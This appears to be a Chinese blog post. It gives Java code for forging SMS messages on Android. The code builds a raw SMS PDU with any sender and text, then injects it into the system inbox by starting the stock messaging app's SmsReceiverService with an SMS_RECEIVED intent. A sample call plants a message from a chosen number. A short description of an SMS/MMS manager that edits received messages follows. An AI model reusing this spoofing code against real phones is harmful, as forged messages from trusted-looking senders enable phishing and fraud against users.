Android 伪造短信

	//伪造短信到系统信箱
	private static void createFakeSms(Context context, String sender,
			String body) {
		byte[] pdu = null;
		byte[] scBytes = PhoneNumberUtils
				.networkPortionToCalledPartyBCD("0000000000");
		byte[] senderBytes = PhoneNumberUtils
				.networkPortionToCalledPartyBCD(sender);
		int lsmcs = scBytes.length;
		byte[] dateBytes = new byte[7];
		Calendar calendar = new GregorianCalendar();
		dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
		dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
		dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
		dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
		dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
		dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
		dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
				.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
		try {
			ByteArrayOutputStream bo = new ByteArrayOutputStream();
			bo.write(lsmcs);
			bo.write(scBytes);
			bo.write(0x04);
			bo.write((byte) sender.length());
			bo.write(senderBytes);
			bo.write(0x00);
			bo.write(0x00); // encoding: 0 for default 7bit
			bo.write(dateBytes);
			try {
				String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
				Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
				Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
						"stringToGsm7BitPacked", new Class[] { String.class });
				stringToGsm7BitPacked.setAccessible(true);
				byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
						body);
				bo.write(bodybytes);
			} catch (Exception e) {
			}

			pdu = bo.toByteArray();
		} catch (IOException e) {
		}

		Intent intent = new Intent();
		intent.setClassName("com.android.mms",
				"com.android.mms.transaction.SmsReceiverService");
		intent.setAction("android.provider.Telephony.SMS_RECEIVED");
		intent.putExtra("pdus", new Object[] { pdu });
		intent.putExtra("format", "3gpp");
		context.startService(intent);
	}

	private static byte reverseByte(byte b) {
		return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
	}

	public void start(View view) {

		createFakeSms(getApplicationContext(), "0774110", "createFakeSms success");
	}

Android手机短信/彩信管理-包括了已接收短信修改,   进入初始页面 EntryPage,传递数据:   1 标题,即该viewtitem的名称   2 类型,短信为0,彩信为1,所有会话为2,   点击短信时 传递标题“短信”,传递0,进入ListBoxPage   点击彩信时 传递标题“彩信”,传递1,进入ListBoxPage   点击所有会话时 传递标题“所有会话”,传递2,传递uri ,进入ListConversationPage   进入收信息分类页面 ListBoxPage,接收标题,并设置标题:   接收类型,根据类型设置当前类型protocol   执行动作:   1 点击收件箱时,传递“收件箱”,传递类型,传递uri,进入ListConversationPage   2 点击收件箱时,传递“发件箱”,传递类型,传递uri,进入ListConversationPage   3 点击收件箱时,传递“草稿箱”,传递类型,传递uri,进入ListConversationPage   4 长按viewtiem时会出现清空菜单   传递参数:   1 标题,当前itemview的名称   2 类型,短信为0,彩信为1   3 Uri,要搜索的content provider uri   进入会话页面 ListConversationPage,接收标题,并设置标题;接收类型,付给当前类型protocol;接收Uri,付给当前Uri。   执行动作:   1搜索uri下的所有会话,得到会话thread_id, 短信数量msg_count,最新短信内容snippet,姓名name,日期date(除thread_id外,其他不能直接得到,要有操作,msg_count可以通过group by thread_id得到,snippet可以通过orderby date得到,name可以通过电话address搜索电话联系人得到)   2 长按viewtiem,会出现“清空”菜单   传递参数:   1 Thread_id,会话id   2 Uri,要搜索的uri   3 传递标题,当前viewitem的名称,即name   4 传递类型 protocol   还有更多功能请参见源码中的文档。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值